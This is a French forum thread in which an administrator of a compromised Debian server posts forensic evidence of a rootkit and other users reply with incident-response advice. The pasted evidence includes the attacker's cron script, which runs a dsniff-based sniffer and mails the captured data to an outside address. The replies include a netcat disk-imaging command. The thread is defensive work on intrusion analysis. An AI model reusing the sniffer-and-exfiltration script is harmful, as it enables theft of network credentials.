Je suis roote que faire ?
Le
contact
Je me suis apercu que ma debian s'etait fait rooter :(. J'ai amassé
quelques preuves :
tout d'abord j'ai touvé dans le repertoire /home/client des fichiers
permettant de se connecter a
ebay via lynx . ayant les droits root :| (cela m'a mis la puce a
l'oreille)
J'ai commencé à chercher :
il y a un faux syslogd qui s'appelle en réalité syslogd{ESPACE} qui
tourne :
-
leguenr@buroplan:/etc/rc1.d$ ps -eaf
UID PID PPID C STIME TTY TIME CMD
root 1 0 0 17:34 ? 00:00:04 init [2]
root 2 1 0 17:34 ? 00:00:00 [kflushd]
root 3 1 0 17:34 ? 00:00:00 [kupdate]
root 4 1 0 17:34 ? 00:00:09 [kswapd]
root 5 1 0 17:34 ? 00:00:00 [keventd]
daemon 108 1 0 17:34 ? 00:00:00 /sbin/portmap
root 132 1 0 17:34 ? 00:00:00 udevd syslogd
**?*.*??*???? !!!
root 206 1 0 17:34 ? 00:00:00 /sbin/syslogd
root 209 1 0 17:34 ? 00:00:00 [klogd]
root 213 1 0 17:34 ? 00:00:00 /usr/sbin/named
root 216 1 0 17:34 ? 00:00:00 /usr/sbin/lwresd
--
le pstree le montre bien en m'affichant :
syslogd
syslogd\040
lorsque je le lance en tant que simple user :
--
leguenr@buroplan:/etc/rc1.d$ "/sbin/syslogd "
[sebd]-> starting
error: you need to be root (your uid: 1001) to run me
--
en root :
--
leguenr@buroplan:/etc/rc1.d$ sudo "/sbin/syslogd "
[sebd]-> starting
[sebd]-> checking uidOK (uid=0)
[sebd]-> Killing pid: 132
[sebd]-> forkingOK (pid920)
[sebd]-> writing pid file..OK (/usr/share/pci.r)
[sebd]-> faking the proccess name..OK (udevd)
--
en faisant un strace sur le fichier j'obtiens :
--
..
socket(PF_INET, SOCK_RAW, IPPROTO_TCP) = 3
fork() = 14925
brk(0) = 0x8055084
brk(0x8076084) = 0x8076084
brk(0) = 0x8076084
brk(0x8077000) = 0x8077000
open("/usr/share/pci.r", O_RDONLY) = 4
fstat(4, {st_mode=S_IFREG|0644, st_size=6, }) = 0
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS,
-1, 0) = 0x40019000
read(4, "14920", 4096) = 6
write(1, "[sebd]-> Killing pid: 14920", 28[sebd]-> Killing pid: 14920
) = 28
kill(14920, SIGKILL) = 0
..
--
en faisant un netstat -an je trouve ca :
--
leguenr@buroplan:~$ sudo netstat -anp
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address
State PID/Program name
tcp 0 288 10.0.0.5:22 195.221.228.2:59372
ESTABLISHED14932/sshd: leguenr
tcp 0 0 10.0.0.5:53 0.0.0.0:*
LISTEN 213/named
tcp 0 0 10.0.0.5:139 10.0.0.7:4889
ESTABLISHED2907/smbd
tcp 0 0 0.0.0.0:670 0.0.0.0:*
LISTEN 912/rpc.statd
tcp 0 0 0.0.0.0:22 0.0.0.0:*
LISTEN 883/sshd
tcp 0 0 127.0.0.1:3306 0.0.0.0:*
LISTEN 421/mysqld
tcp 0 0 0.0.0.0:25 0.0.0.0:*
LISTEN 276/exim3
tcp 0 0 0.0.0.0:20012 0.0.0.0:*
LISTEN 282/
tcp 0 0 0.0.0.0:139 0.0.0.0:*
LISTEN 240/smbd
tcp 0 0 127.0.0.1:953 0.0.0.0:*
LISTEN 213/named
tcp 0 0 127.0.0.1:53 0.0.0.0:*
LISTEN 213/named
tcp 0 0 0.0.0.0:111 0.0.0.0:*
LISTEN 108/portmap
udp 0 0 10.0.0.5:53 0.0.0.0:*
213/named
udp 0 0 127.0.0.1:1026 0.0.0.0:*
2907/smbd
udp 0 0 10.0.0.5:138 0.0.0.0:*
236/nmbd
udp 0 0 10.0.0.5:137 0.0.0.0:*
236/nmbd
udp 0 0 0.0.0.0:667 0.0.0.0:*
912/rpc.statd
udp 0 0 0.0.0.0:664 0.0.0.0:*
912/rpc.statd
udp 0 0 0.0.0.0:68 0.0.0.0:*
266/dhclient
udp 0 0 127.0.0.1:921 0.0.0.0:*
216/lwresd
udp 0 0 0.0.0.0:138 0.0.0.0:*
236/nmbd
udp 0 0 0.0.0.0:137 0.0.0.0:*
236/nmbd
udp 0 0 0.0.0.0:1025 0.0.0.0:*
216/lwresd
udp 0 0 0.0.0.0:1024 0.0.0.0:*
213/named
udp 0 0 127.0.0.1:53 0.0.0.0:*
213/named
udp 0 0 0.0.0.0:111 0.0.0.0:*
108/portmap
raw 0 0 0.0.0.0:6 0.0.0.0:* 7
14925/udevd ****** me parait louche
raw 0 0 0.0.0.0:1 0.0.0.0:* 7
-
raw 0 0 0.0.0.0:6 0.0.0.0:* 7
-
Active UNIX domain sockets (servers and established)
le fichier pci.r contient :
-
leguenr@buroplan:~$ cat /usr/share/pci.r
14925
-
un pid visiblement
j'ai passé chkrootkit : tout ok sauf :
--
Checking `lkm' You have 2 process hidden for readdir command
You have 2 process hidden for ps command
Warning: Possible LKM Trojan installed
--
passage de rkhunter -> tout ok ! sauf :
--
* Application version scan
- Exim MTA 3.36 [ Unknown
]
- GnuPG 1.0.6 [ Old or
patched version ]
- Bind DNS 9.2.1 [ Unknown
]
- OpenSSL 0.9.7e [ OK ]
- Procmail MTA 3.22 [ OK ]
- OpenSSH 3.8.1p1 [ OK ]
--
J'ai aussi trouvé : un cron dans /etc/cron.daily/dnsquery
ce fichier contenait :
--
root@buroplan:/root# cat dnsquery
#!/bin/sh
cd /usr/lib/
./popauth -r httpd.log > test
cat /usr/share/misc/blah/temp.log |uniq >> test
echo >/usr/share/misc/blah/temp.log
mail dumycs@yahoo.com -s "$(hostname -f)" < test
rm -rf test httpd.log
A=$PATH
killall -9 popauth
export PATH=/usr/lib/
popauth -w httpd.log &
export PATH=$A
pour information le fichier popauth en question etait un dsniff
le repertoir /usr/share/misc n'existe pas du moins pas vu de mon ls
il y'a pê un rootkit qui masque ce repertoire.
J'en suis la, j'ai killé les processus syslogd{ESPACE} et je l'ai
effacé mais
il est réapparu apres avoir rebooté. J'ai tenté de faire un
rapprochement
sur les dates de modification des fichiers mais il semblerait que
celles ci ait été modifiées.
J'ai retrouvé popauth et dnsquery avec comme user et group : 501.
cela m'a permit de faire un "find / -gid 501" pour trouver ces indices
! Bref,
Que dois-je faire ? La reinstallation complete n'est pas possible, du
moins pas pour l'instant
car je n'ai acces à cette machine que par ssh. Les données
compromises n'ont pas grande valeur
mais j'aimerai bien en savoir plus sur le comment !
Merci d'avance pour les informations que vous pourriez eventuellement
me donner :)
Romain Le Guen
quelques preuves :
tout d'abord j'ai touvé dans le repertoire /home/client des fichiers
permettant de se connecter a
ebay via lynx . ayant les droits root :| (cela m'a mis la puce a
l'oreille)
J'ai commencé à chercher :
il y a un faux syslogd qui s'appelle en réalité syslogd{ESPACE} qui
tourne :
-
leguenr@buroplan:/etc/rc1.d$ ps -eaf
UID PID PPID C STIME TTY TIME CMD
root 1 0 0 17:34 ? 00:00:04 init [2]
root 2 1 0 17:34 ? 00:00:00 [kflushd]
root 3 1 0 17:34 ? 00:00:00 [kupdate]
root 4 1 0 17:34 ? 00:00:09 [kswapd]
root 5 1 0 17:34 ? 00:00:00 [keventd]
daemon 108 1 0 17:34 ? 00:00:00 /sbin/portmap
root 132 1 0 17:34 ? 00:00:00 udevd syslogd
**?*.*??*???? !!!
root 206 1 0 17:34 ? 00:00:00 /sbin/syslogd
root 209 1 0 17:34 ? 00:00:00 [klogd]
root 213 1 0 17:34 ? 00:00:00 /usr/sbin/named
root 216 1 0 17:34 ? 00:00:00 /usr/sbin/lwresd
--
le pstree le montre bien en m'affichant :
syslogd
syslogd\040
lorsque je le lance en tant que simple user :
--
leguenr@buroplan:/etc/rc1.d$ "/sbin/syslogd "
[sebd]-> starting
error: you need to be root (your uid: 1001) to run me
--
en root :
--
leguenr@buroplan:/etc/rc1.d$ sudo "/sbin/syslogd "
[sebd]-> starting
[sebd]-> checking uidOK (uid=0)
[sebd]-> Killing pid: 132
[sebd]-> forkingOK (pid920)
[sebd]-> writing pid file..OK (/usr/share/pci.r)
[sebd]-> faking the proccess name..OK (udevd)
--
en faisant un strace sur le fichier j'obtiens :
--
..
socket(PF_INET, SOCK_RAW, IPPROTO_TCP) = 3
fork() = 14925
brk(0) = 0x8055084
brk(0x8076084) = 0x8076084
brk(0) = 0x8076084
brk(0x8077000) = 0x8077000
open("/usr/share/pci.r", O_RDONLY) = 4
fstat(4, {st_mode=S_IFREG|0644, st_size=6, }) = 0
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS,
-1, 0) = 0x40019000
read(4, "14920", 4096) = 6
write(1, "[sebd]-> Killing pid: 14920", 28[sebd]-> Killing pid: 14920
) = 28
kill(14920, SIGKILL) = 0
..
--
en faisant un netstat -an je trouve ca :
--
leguenr@buroplan:~$ sudo netstat -anp
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address
State PID/Program name
tcp 0 288 10.0.0.5:22 195.221.228.2:59372
ESTABLISHED14932/sshd: leguenr
tcp 0 0 10.0.0.5:53 0.0.0.0:*
LISTEN 213/named
tcp 0 0 10.0.0.5:139 10.0.0.7:4889
ESTABLISHED2907/smbd
tcp 0 0 0.0.0.0:670 0.0.0.0:*
LISTEN 912/rpc.statd
tcp 0 0 0.0.0.0:22 0.0.0.0:*
LISTEN 883/sshd
tcp 0 0 127.0.0.1:3306 0.0.0.0:*
LISTEN 421/mysqld
tcp 0 0 0.0.0.0:25 0.0.0.0:*
LISTEN 276/exim3
tcp 0 0 0.0.0.0:20012 0.0.0.0:*
LISTEN 282/
tcp 0 0 0.0.0.0:139 0.0.0.0:*
LISTEN 240/smbd
tcp 0 0 127.0.0.1:953 0.0.0.0:*
LISTEN 213/named
tcp 0 0 127.0.0.1:53 0.0.0.0:*
LISTEN 213/named
tcp 0 0 0.0.0.0:111 0.0.0.0:*
LISTEN 108/portmap
udp 0 0 10.0.0.5:53 0.0.0.0:*
213/named
udp 0 0 127.0.0.1:1026 0.0.0.0:*
2907/smbd
udp 0 0 10.0.0.5:138 0.0.0.0:*
236/nmbd
udp 0 0 10.0.0.5:137 0.0.0.0:*
236/nmbd
udp 0 0 0.0.0.0:667 0.0.0.0:*
912/rpc.statd
udp 0 0 0.0.0.0:664 0.0.0.0:*
912/rpc.statd
udp 0 0 0.0.0.0:68 0.0.0.0:*
266/dhclient
udp 0 0 127.0.0.1:921 0.0.0.0:*
216/lwresd
udp 0 0 0.0.0.0:138 0.0.0.0:*
236/nmbd
udp 0 0 0.0.0.0:137 0.0.0.0:*
236/nmbd
udp 0 0 0.0.0.0:1025 0.0.0.0:*
216/lwresd
udp 0 0 0.0.0.0:1024 0.0.0.0:*
213/named
udp 0 0 127.0.0.1:53 0.0.0.0:*
213/named
udp 0 0 0.0.0.0:111 0.0.0.0:*
108/portmap
raw 0 0 0.0.0.0:6 0.0.0.0:* 7
14925/udevd ****** me parait louche
raw 0 0 0.0.0.0:1 0.0.0.0:* 7
-
raw 0 0 0.0.0.0:6 0.0.0.0:* 7
-
Active UNIX domain sockets (servers and established)
le fichier pci.r contient :
-
leguenr@buroplan:~$ cat /usr/share/pci.r
14925
-
un pid visiblement
j'ai passé chkrootkit : tout ok sauf :
--
Checking `lkm' You have 2 process hidden for readdir command
You have 2 process hidden for ps command
Warning: Possible LKM Trojan installed
--
passage de rkhunter -> tout ok ! sauf :
--
* Application version scan
- Exim MTA 3.36 [ Unknown
]
- GnuPG 1.0.6 [ Old or
patched version ]
- Bind DNS 9.2.1 [ Unknown
]
- OpenSSL 0.9.7e [ OK ]
- Procmail MTA 3.22 [ OK ]
- OpenSSH 3.8.1p1 [ OK ]
--
J'ai aussi trouvé : un cron dans /etc/cron.daily/dnsquery
ce fichier contenait :
--
root@buroplan:/root# cat dnsquery
#!/bin/sh
cd /usr/lib/
./popauth -r httpd.log > test
cat /usr/share/misc/blah/temp.log |uniq >> test
echo >/usr/share/misc/blah/temp.log
mail dumycs@yahoo.com -s "$(hostname -f)" < test
rm -rf test httpd.log
A=$PATH
killall -9 popauth
export PATH=/usr/lib/
popauth -w httpd.log &
export PATH=$A
pour information le fichier popauth en question etait un dsniff
le repertoir /usr/share/misc n'existe pas du moins pas vu de mon ls
il y'a pê un rootkit qui masque ce repertoire.
J'en suis la, j'ai killé les processus syslogd{ESPACE} et je l'ai
effacé mais
il est réapparu apres avoir rebooté. J'ai tenté de faire un
rapprochement
sur les dates de modification des fichiers mais il semblerait que
celles ci ait été modifiées.
J'ai retrouvé popauth et dnsquery avec comme user et group : 501.
cela m'a permit de faire un "find / -gid 501" pour trouver ces indices
! Bref,
Que dois-je faire ? La reinstallation complete n'est pas possible, du
moins pas pour l'instant
car je n'ai acces à cette machine que par ssh. Les données
compromises n'ont pas grande valeur
mais j'aimerai bien en savoir plus sur le comment !
Merci d'avance pour les informations que vous pourriez eventuellement
me donner :)
Romain Le Guen

Poser une question


Il y a trois problèmes bien distincts :
- trouver comment la machine a été attaquée : sauver le maximum de logs,
que ce soit http, syslog etc... et essayer de trouver des traces de
l'attaque.
- éviter que la machine serve de plateforme pour en attaquer d'autres :
donc ne pas traîner pour faire ce qu'il faut
- se débarasser du bordel. Comme on n'a aucun moyen de savoir tout ce
qui a été corrompu, une solution et une seule : la réinstallation. Il
faudra que quelqu'un qui a un accès physique s'en charge. Chez un
hébergeur, souvent, ils mettent un nouveau disque, l'ancien en esclave
pour récupérer les données. Un petit coup de clamav pourra peut-être
détecter quelques fichiers corrompus.
a++;
JG
A titre informatif, quelle version de debian tourne sur ce serveur?
Disposait elle des dernières mises à jour debian?
Si tel est le cas, penser à vérifier à deux fois la qualité du code
accessible via le web. (php, asp, cgi...)
Dans certains rootkit, un keylogger est installé et permet de recuperer
les mots de passes ftp/ssh/telnet/et+ saisis suite à l'attaque, donc
essayer tant que possible de mener les investigations hors web, ou
alors être extremement prudent.
En complément, sur tous (?) les switchs manageables il est possible de
désactiver (puis réactiver) des ports ethernet. C'est une solution
assez efficace pour éviter que l'attaquant ou toute autre personne
connaissant la backdoor ne puisse venir utiliser le serveur.
+1
En tout cas bon courage,
--
J1
Pour enquêter sérieusement, il faudrait avoir une image des disques. Si
tu as du temps (et de la BP), un `cat /dev/hda$i | nc box 1234` du côté
de la machine compromise et un `nc -vnlp 1234 > dump-$i.bin` du côté
de ton autre machine te permettra d'obtenir une image binaire des
partitions (dont swap !) où enquêter. Après, tu montes les partoches en
read-only et hop, enquête classique (recherche des fichiers effacés, ...).
Dernière chose : si tu ne trouves pas le vecteur d'entrée, il est
probable qu'une ré-install ne mènera qu'à une nouvelle compromission ...
Nicob
Il a peut etre pointé le daemon sur ce rootkit. A verifier.
Au mieux, tu remplace ce fichier par un script qui logge le PPID, et qui
dumpe le resultat du /proc/${PPID}/cmdline ou autre 'ps' dans un
fichier, t'auras l'appelant, meme s'il disparait par la suite.
ce port me parait curieux. Regarde qui ecoute derriere:
fuser -nv tcp 20012
j'irais faire un tour la dedans aussi, pour voir.
Ne fais pas confiance non plus a tes programmes ls,
ps etc..
pour faire la liste de ce repertoire, tu peux lancer un:
cd /usr/share/misc
tar cvf blah.tar blah/
Generalement, je dis bien generalement, le binaire
tar n'est pas roote. Donc le tar t'affichera tous les
fichiers.
Si tu as une difference entre le ls et le tar, re-extrait
le fichier ls d'une archive deb originelle:
cd /tmp
dpkg -X puis fait un diff du ls extrait et du /bin/ls
(de memoire, je ne sais plus dans quel paquet debian
est fourni /bin/ls)
Avant toute chose, lance des commandes iptables pour
n'autoriser les connections ssh que depuis _ta_
machine. Bloque tout le reste. Il est inutile que le
pirate dispose d'aces ou de fuite d'information de ta
machine.
Apres, investigue. Mais je crois que la reinstalle
s'impose. Dis toi que si un pirate est venu, un
deuxieme, beaucoup plus discret que le premier peut
etre egalement passe.
--